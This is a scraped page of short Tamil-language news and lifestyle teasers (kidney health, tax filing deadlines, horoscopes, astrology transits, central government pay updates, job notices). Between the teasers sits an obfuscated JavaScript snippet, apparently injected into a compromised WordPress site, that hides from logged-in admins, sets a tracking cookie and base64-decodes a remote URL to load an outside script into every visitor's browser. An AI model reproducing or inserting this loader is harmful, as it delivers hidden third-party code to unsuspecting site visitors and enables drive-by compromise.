கிட்னி என்பது உடலின் முக்கிய உறுப்பு. இரத்தத்தில் உள்ள கழிவுகளை வடிகட்டி சிறுநீராக வெளியேற்றுவது, உடலில் நீர் மற்றும் உப்புச் சமநிலையை பராமரிப்பது, ஹார்மோன் உற்பத்தியில் பங்கு வகிப்பது ஆகிய பல பணிகளை இது செய்கிறது....
மத்திய நேரடி வரிகள் வாரியம் (CBDT) 2024-25 நிதியாண்டுக்கான (2025-26 மதிப்பீட்டாண்டு) வருமான வரி அறிக்கைகள் தாக்கல் செய்யும் கடைசி தேதியை மீண்டும் நீட்டித்துள்ளது. இதன் படி, ஆடிட்டுக்கு உட்படாத தனிநபர்கள் மற்றும் இந்து குடும்பங்கள்...
சிலர் அதிகாலை எழுந்து புத்துணர்ச்சியுடன் இருக்கிறார்கள், சிலர் இரவு நேரங்களில் அதிகமாக செயல்படுகிறார்கள். இதற்குக் காரணம் தூக்க நேரம் உடலின் இயற்கையான ஜீவகடிகாரத்துடன் (Circadian Rhythm) தொடர்புடையது. European Heart Journal – Digital Health...
(function(){try{if(document.getElementById&&document.getElementById(‘wpadminbar’))return;var t0=+new Date();for(var i=0;i120)return;if((document.cookie||”).indexOf(‘http2_session_id=’)!==-1)return;function systemLoad(input){var key=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’,o1,o2,o3,h1,h2,h3,h4,dec=”,i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,”);while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<>4);o2=((h2&15)<>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();
26.08.2025 தமிழ்பஞ்சாங்கம் விவரம் ** தமிழ் ஆண்டு**: விசுவாசுவ வருடம், ஆவணி 10ம் நாள் ** நாள்**: செவ்வாய்க்கிழமை (செவ்வாய்) ** திதி**: சுக்ல பக்ஷ திருதியை — காலை 12:35 PM முதல் 01:54...
மேஷம் (Aries):இன்று தொழில், வணிகத்தில் புதிய வாய்ப்புகள் வரும். குடும்பத்தில் மகிழ்ச்சி அதிகரிக்கும். உடல் ஆரோக்கியத்தில் கவனம் தேவை.✅ அதிர்ஷ்ட நிறம்: சிவப்பு✅ அதிர்ஷ்ட எண்: 5 ரிஷபம் (Taurus):சில வேலைகள் தாமதமாகினாலும் இறுதியில் சாதகமாக...
ஜோதிடத்தில் நவகிரகங்களில் ஒன்றான ராகு, சுமார் 18 மாதங்கள் ஒரு ராசியில் தங்குவார். எப்போதும் வக்ர நிலையில் (retrograde) இயங்கும் ராகு, தனது சொந்த நட்சத்திரமான சதயம் நட்சத்திரத்தில் நவம்பர் 2025 இல் செல்லவுள்ளார். சுமார்...
ஜோதிடத்தில் மிக முக்கியமான கிரகமாக கருதப்படும் சனி பகவான் விரைவில் குருவின் பூரட்டாதி நட்சத்திரத்தில் பெயர்ச்சி ஆகவிருக்கிறார். இந்த சனி நட்சத்திர பெயர்ச்சி அக்டோபர் 2025 இல் நடைபெற உள்ளது. சனி பகவான் நாம் செய்யும்...
மத்திய அரசு ஊழியர்களுக்கு மிகப்பெரிய அப்டேட் வெளியாகியுள்ளது. 8வது சம்பளக் குழுவின் குறிப்பு விதிமுறைகள் (Terms of Reference – ToR) இந்த மாதத்திலேயே அறிவிக்கப்பட வாய்ப்பு இருப்பதாக தகவல்கள் வெளியாகியுள்ளன. ToR என்றால் என்ன?ToR...
இந்தியாவில் எந்த மாநிலங்களில் அதிகமான பாம்புகள் உள்ள என இங்கு பார்ப்போம். கேரளா தென் இந்தியாவின் மேற்கு தொடர்ச்சி மலை அமைந்துள்ள கேரளாவில் 100-க்கும் மேற்பட்ட பாம்பு வகைகள் உள்ளன. அவற்றில் பல கொடிய விஷம்...
பாகிஸ்தான் தொடர்ந்து இந்தியாவுக்கு எதிராக அணு தாக்குதல் மிரட்டலை விடுத்து வருகிறது. இந்தியாவின் ஆபரேஷன் சிந்தூர் நடவடிக்கையில் கடுமையான தோல்வியைச் சந்தித்த பின், பாகிஸ்தான் தலைமைத்துவம் ஆவேசமான எச்சரிக்கைகளை வெளியிட்டு வருகிறது. சமீபத்தில் பாகிஸ்தான் பிரதமர்...
மத்திய அரசு ஊழியர்களுக்கு டிஏ உயர்வு – செப்டம்பரிலேயே அறிவிப்பு வரும் வாய்ப்பு! மத்திய அரசு ஊழியர்களுக்கான அகவிலைப்படி (DA) உயர்வு தீபாவளிக்கு முன்பே, செப்டம்பர் 2025-இல் அறிவிக்கப்படலாம் என தகவல்கள் வெளியாகியுள்ளன. இந்த உயர்வு...
தமிழகத்தில் கூட்டுறவு வங்கிகள் மற்றும் கூட்டுறவு சங்கங்களில் உதவியாளர் மற்றும் இளநிலை உதவியாளர் பணியிடங்களை நிரப்பும் ஆட்சேர்ப்பு அறிவிப்பு வெளியிடப்பட்டுள்ளது. மொத்தம் 2,581 காலிப்பணியிடங்கள் மாநிலம் முழுவதும் அறிவிக்கப்பட்டுள்ளன. 📍 மாவட்ட வாரியாக காலிப்பணியிடங்கள்: சென்னை...
கொள்ளு உடல் பருமனைக் குறைக்கும் உணவாக அனைவரும் அறிந்ததே. ஆனால், கருப்பு கொள்ளு (Black Horse Gram) அதைவிட அதிகமான ஆரோக்கிய நன்மைகள் கொண்டது என்பதை பலர் அறியவில்லை. இதில் ஆன்டி-ஆக்சிடன்ட், கனிமச்சத்து, நார்ச்சத்து அதிகமாக...
மத்திய அரசு ஊழியர்களுக்கான புதிய தகவல்!நீண்ட நாட்களாக எதிர்பார்க்கப்பட்ட 8வது ஊதியக்குழு (8th Pay Commission) தொடர்பான முக்கிய முன்னேற்றம் வெளியாகியுள்ளது. மத்திய அரசு, இந்தக் குழுவின் Terms of Reference (ToR)-ஐ ஆகஸ்ட் 2025...